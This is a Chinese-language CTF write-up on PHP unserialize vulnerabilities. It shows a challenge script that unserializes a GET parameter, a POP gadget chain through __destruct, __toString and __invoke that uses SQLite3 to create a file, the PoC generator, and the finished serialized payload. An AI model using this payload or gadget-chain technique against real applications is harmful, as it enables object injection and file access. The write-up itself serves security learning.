“所有php里面的值都可以使用函数serialize()来返回一个包含字节流的字符串来表示。序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。”在程序执行结束时,内存数据便会立即销毁,变量所储存的数据便是内存数据,而文件、数据库是“持久数据”,因此PHP序列化就是将内存的变量数据“保存”到文件中的持久数据的过程
php序列化
-
环境准备:
- phpstudy
- 源文件,源文件代码如下示
-
源码分析
<?php
highlight_file(__FILE__);
class wel{
public $fast;
public $star;
public function __construct()
{
$this->fast='free__toto';
echo $this->fast;
echo "what?";
}
public function __destruct()
{
$content=$this->star;
printf($content);
}
public function ctf()
{
echo 'welcome?';
}
}
class database{
public $hostname='127.0.0.1';
public $dbuser='root';
public $dbpass='root';
public $database;
public $str;
public $challange;
public function __construct($database)
{
$this->database=$database;
}
public function __invoke()
{
function welcome(){
echo 'do_it?';
}
$this->str->open($this->database);
}
}
class flag{
public $file;
public $params;
public function __construct()
{
$this->file=array();
}
public function __toString()
{
return $this->getfunction();
}
public function getfunction(){
$func=$this->params;
echo 'you win?';
$func();
}
}
$files=scandir('./');
foreach ($files as $file){
if (is_file($file)){
if ($file=='fl@g.php'){
$con=file_get_contents('D:\phpstudy_pro\WWW\www.ctfweb01.com\flag.txt');
echo $con;
unlink($file);
}
}
}
$exp=$_GET['noway'];
unserialize($exp);
- __construct() 构造函数-当对象实例化时调用构造函数
- __destruct() 析构函数-当对象结束时调用析构函数
- __toString() 当对象当作字符串输出时调用
- __invoke() 当对象当作函数被调用时执行
poc构造链:wel--->__destruct()-->flag-->getfunation-->database-->invoke-->php类-->open-->fl@g.php-->file-get-content
poc文件
<?php
highlight_file(__FILE__);
class wel
{
public $fast;
public $star;
public function __construct()
{
$this->fast = 'free__toto';
echo $this->fast;
echo "what?";
}
public function __destruct()
{
$content = $this->star;
printf($content);
}
public function ctf()
{
echo 'welcome?';
}
}
class database
{
public $hostname = '127.0.0.1';
public $dbuser = 'root';
public $dbpass = 'root';
public $database;
public $str;
public $challange;
public function __construct($database)
{
$this->database = $database;
}
public function __invoke()
{
function welcome()
{
echo 'do_it?';
}
$this->str->open($this->database);
}
}
class flag
{
public $file;
public $params;
public function __construct()
{
$this->file = array();
}
public function __toString()
{
return $this->getfunction();
}
public function getfunction()
{
$func = $this->params;
echo 'you win?';
$func();
}
}
$w=new wel();
$w->star=new flag();
$w->star->params=new database('fl@g.php');
$w->star->params->str=new SQLite3('fl@g.php');
echo serialize($w);
运行文件得到序列化后最好删除此次创建的fl@G.PHP文件
得到playload=O:3:"wel":2:{s:4:"fast";s:10:"free__toto";s:4:"star";O:4:"flag":2:{s:4:"file";a:0:{}s:6:"params";O:8:"database":6:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:8:"fl@g.php";s:3:"str";O:7:"SQLite3":0:{}s:9:"challange";N;}}}
打开ctf网页get方法传入noway=O:3:"wel":2:{s:4:"fast";s:10:"free__toto";s:4:"star";O:4:"flag":2:{s:4:"file";a:0:{}s:6:"params";O:8:"database":6:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:8:"fl@g.php";s:3:"str";O:7:"SQLite3":0:{}s:9:"challange";N;}}}
刷新两次,第一次加载会创建文件fl@g.php,第二次刷新才会去读文件